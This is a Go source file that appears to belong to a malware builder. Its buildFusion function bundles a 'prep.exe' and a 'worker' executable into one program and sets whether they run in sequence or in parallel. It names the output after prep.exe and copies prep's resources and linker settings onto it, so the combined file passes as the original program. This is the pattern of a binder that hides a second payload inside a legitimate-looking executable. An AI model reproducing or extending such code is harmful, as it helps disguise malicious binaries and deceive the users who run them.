package builder

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"
)

func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
	if prepPath == "" {
		return "", fmt.Errorf("fusion requires prep.exe")
	}
	if _, err := os.Stat(prepPath); err != nil {
		return "", fmt.Errorf("prep.exe not found: %w", err)
	}
	if _, err := os.Stat(workerPath); err != nil {
		return "", fmt.Errorf("worker binary not found: %w", err)
	}

	fusionSrc := filepath.Join(h.projectRoot, "fusion")
	if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
		return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
	}

	fusionDir := filepath.Join(buildDir, "fusion")
	assetsDir := filepath.Join(fusionDir, "assets")
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		return "", err
	}

	mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
	if err != nil {
		return "", err
	}
	order := normalizeFusionOrder(runOrder)
	mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
	if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
		return "", err
	}

	if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
		return "", err
	}
	if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
		return "", err
	}
	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
		return "", err
	}

	if outputName == "" {
		outputName = filepath.Base(prepPath)
	}
	if outputName == "" {
		outputName = "prep.exe"
	}
	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
		outputName += ".exe"
	}
	outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))

	ldflags := fusionLdflags(prepPath)
	if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
		return "", err
	}
	if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
		return "", err
	}
	return outputPath, nil
}

func normalizeFusionOrder(order string) string {
	switch strings.ToLower(strings.TrimSpace(order)) {
	case "prep_first", "worker_first", "parallel":
		return strings.ToLower(strings.TrimSpace(order))
	default:
		return "parallel"
	}
}